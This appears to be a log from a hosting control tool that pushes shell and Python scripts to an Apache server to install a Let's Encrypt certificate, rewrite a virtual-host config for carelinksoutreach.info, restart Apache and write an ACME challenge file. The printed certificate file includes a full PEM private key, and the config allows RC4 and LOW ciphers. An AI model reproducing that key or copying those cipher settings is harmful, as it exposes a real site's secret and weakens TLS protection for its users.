A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-24 06:01:00:
chmod 755 /tmp/pkp235503; /tmp/pkp235503; rm /tmp/pkp235503
2025-10-24 06:01:00:
dir=/etc/ssl/certs
2025-10-24 06:01:00:
PUT: /tmp/pkp470395
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-24 06:01:00:
chmod 755 /tmp/pkp470395; /tmp/pkp470395; rm /tmp/pkp470395
2025-10-24 06:01:00:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf 50
<VirtualHost *:80>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_error.log
SetEnv pkp_uid 61
SetEnv pkp_owner outreach
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:01:00:
PUT: /tmp/pkp251822
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksoutreach_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_error.log
SetEnv pkp_uid 61
SetEnv pkp_owner outreach
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf= 1'
fi
2025-10-24 06:01:00:
chmod 755 /tmp/pkp251822; /tmp/pkp251822; rm /tmp/pkp251822
2025-10-24 06:01:00:
2025-10-24 06:01:00:
PUT: /tmp/pkp345823
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-24 06:01:00:
chmod 755 /tmp/pkp345823; /tmp/pkp345823; rm /tmp/pkp345823
2025-10-24 06:01:00:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:01:01: Establishing a connection
2025-10-24 06:01:01:
PUT: /tmp/pkp913739
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-24 06:01:01:
chmod 755 /tmp/pkp913739; /tmp/pkp913739; rm /tmp/pkp913739
2025-10-24 06:01:01:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:01:01:
PUT: /tmp/pkp992317
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:01:01:
chmod 755 /tmp/pkp992317; /tmp/pkp992317; rm /tmp/pkp992317
2025-10-24 06:01:01:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf 1476
<VirtualHost *:80>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_error.log
SetEnv pkp_uid 61
SetEnv pkp_owner outreach
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksoutreach/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksoutreach/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:01:01:
PUT: /tmp/pkp846943
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:01:01:
chmod 755 /tmp/pkp846943; /tmp/pkp846943; rm /tmp/pkp846943
2025-10-24 06:01:01:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt 5402
cd:05:a7:0f:65:b7:f1:9b:e8:92:d5:f8:59:52:c5:b5
-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBTIQDUliHWWNo2gov2vWaDquMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjI5WhcNMjYwMTIyMDUwMjI4WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAurxQheluzJxuqvzq10uqDTwglYxGn99E8ESYMpGU9OH3ghJzwHbZ
huVOjOO4OkxsXwAqYIsAtd/YNgZBvFMRd7MsIx8T2ocUlpk06ctWqFxiVuRBjobq
0HWLizmfYdz7oyslJaEiybHzCujyCeVfOAdQF45sQImxa5zoIESZrw4lSOQYnbiN
Na84QsT+2HqB4vQqOXWQLtUvIvyWMV16qqe9E8oqn+lKD/1SRpWn6N+xcYZZmmgl
cMHQUYB1Rsq8/dGn0DrJGFm76Vh7Ot4sb38tZlxW07s0lAyR6KR5+jJfKsX4a1FS
qxSsxPsWC0X81yrROoFtgv8rBhiBMNRlbQIDAQABo4ICPzCCAjswDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRBQAL9aAzJJDH8f3iTgfiwj1mZVTAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNDcuY3JsMIIBAQYKKwYBBAHWeQIEAgSB8gSB7wDtAHUAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM5b6AAABAMARjBEAiAh/iKg46cG
9Lk7dcbJD7V0VYwDj6C6Kk14wE00XPBp1gIgOnNMlokZjZUOH6tWmAv9s2o23NIA
BWefs8dQ5WFf+DsAdACWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZoUzlwyAAAEAwBFMEMCIFXcGb+sXuKEe3XFDutanhygDXun/X7aWBIXVb3jeFZZ
Ah98XxAEJAdAhdgE9g3Bo+24vjpNpO2MaVXDSHebL56YMA0GCSqGSIb3DQEBCwUA
A4IBAQBTVtjSOh8RL8z0nB90oNECamaq7X0k0OchY2MV3zXXaWJxKv6Hl1VHwQP8
/9iF73npR0lxvz9mzdh/wvnO2pVVEwN1iJm7SrPTE6PN2pZQrgiXU5JOfHfdVT9L
CJ2rRwH7dwhRzwZAznVhMj3HVBUGK9QyZltNf4h8kpvarQTu1MWxgqxAENLExq6s
w03P2sH6zPzqhq3Xt1cKw67eu+v05jWoKEYBsQ5D2fHZgQJWsB5Ei8D3NbKDRi3r
awhdRaX2Jd84RJZTQkfQ+tnLL0QG5DkVkCrxqPZiCez4CRVs7sKNfYdJYcd2mV7G
jDECGAM5DoSBfzfvCvY/qM4+78Qe
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC6vFCF6W7MnG6q
/OrXS6oNPCCVjEaf30TwRJgykZT04feCEnPAdtmG5U6M47g6TGxfACpgiwC139g2
BkG8UxF3sywjHxPahxSWmTTpy1aoXGJW5EGOhurQdYuLOZ9h3PujKyUloSLJsfMK
6PIJ5V84B1AXjmxAibFrnOggRJmvDiVI5BiduI01rzhCxP7YeoHi9Co5dZAu1S8i
/JYxXXqqp70Tyiqf6UoP/VJGlafo37FxhlmaaCVwwdBRgHVGyrz90afQOskYWbvp
WHs63ixvfy1mXFbTuzSUDJHopHn6Ml8qxfhrUVKrFKzE+xYLRfzXKtE6gW2C/ysG
GIEw1GVtAgMBAAECggEAde1vPOKKopU4HqvS81xJbEpImakZAOXTd5kaNPVTiMMb
t/1HNIjaHyK5VKiLM+YHmodUO9wM+s7+kD+rS+953Io+mX+K3jroeaMPk4Zil7ig
Mhe8fvIdYMCa+7XMPdV85TLeJsF4YsAKqR0rnaxJUezsW7QKEUfjz/4rahVoqO/F
FULaogp3T5jrt7UfNL0Wtxw6iKfJX4vKRS2sq6yN0I56eB15Y/wHJVrLP86HfIiD
ea39P28xySaF+lzpcUOTBBEeLTyEkH/3HJ6hiiF7PTC0b+wk+xhryBkUEz5TwplV
PZKeNXqM1Kb3gskQHK0vbwRTuSbKZfhDCf+EKjDCAQKBgQDrpRLLZR0IOMoPwbuT
M7oaypb/EPCjf0fGFCSbVq2zZLKz21F0iqarC5f/v2iTm7pwiy1K+uu96eIvuGWA
DeeMA2UrG7YCle5t8op1eIDOryDQFCSPxdsIY6zL8zxTHqqQItV2jNXkqYNn+kv5
wdDOQX8uhE+2Q7yqP5+KMdm5zQKBgQDK3bAyvgG31/RnOERWLmL1In1fLyK2jjfq
2IMBma7nO31eF7B+dIfnFJ07/0jxTEeR48pa3g3tGppbSq6EaZKISwfZhUVAwDIB
dbe958FQM4pempVFHd/uoQRHOxa1gtmt4lup+XIWgB8Pot8XTZs1fHwwckm+GIXe
KQ0td1c6IQKBgQCALQpMGHPyRPGkIH0nVLumVwxLMauzQ0iHNe2zkTJqohuSOXnV
KpX99BB5zGPV5p9DGHFKl7IjW1TtICAVx3prbm1ZRXl7bpKCu6sUurdVtWzjwhEh
Iz5BEfar+WKW09dzD3+NPI4cExinNj6dXA94IahMZSv2uGGnOXROd083AQKBgQC6
uSZO7jjioLFiuJWdxYBsJVzEWbxXz7uEO9kJhg1I5KbWDnPzUQsuFPlMmgLnptBR
ZhuBW9XxoYTl9m1/jzTCol0NR++gU8czNMj00PZL/cSkoyA1x/OvzyEC905Fr7Tw
qeK5JtJuB2uPlthEuLfdmUEtzmQ1xpihDaQFb00oQQKBgQDNRt+9RFNO/SY/hsuF
aV5tBNPERSyIJ9dlhHt9SrOaVD2X11k1uIsKbXlikqLROUP33XMvSU4OGXMdeFIi
TThhlAuWpWCJbSd/x8aTD/vbJNjW32RVwNVdJFIKxScsBWB1DW1n1eySpwyGnJct
dXSNL3bwJ+kkWSsub3McNbEcHA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-24 06:01:01: Establishing a connection
2025-10-24 06:01:01: Establishing a connection
2025-10-24 06:01:01:
PUT: /tmp/pkp869287
#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-24 06:01:01:
chmod 755 /tmp/pkp869287; /tmp/pkp869287; rm /tmp/pkp869287
2025-10-24 06:01:01:
1
2025-10-24 06:01:02: Establishing a connection
2025-10-24 06:01:02:
PUT: /tmp/pkp851575
#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE
2025-10-24 06:01:02:
chmod 755 /tmp/pkp851575; /tmp/pkp851575; rm /tmp/pkp851575
2025-10-24 06:01:02:
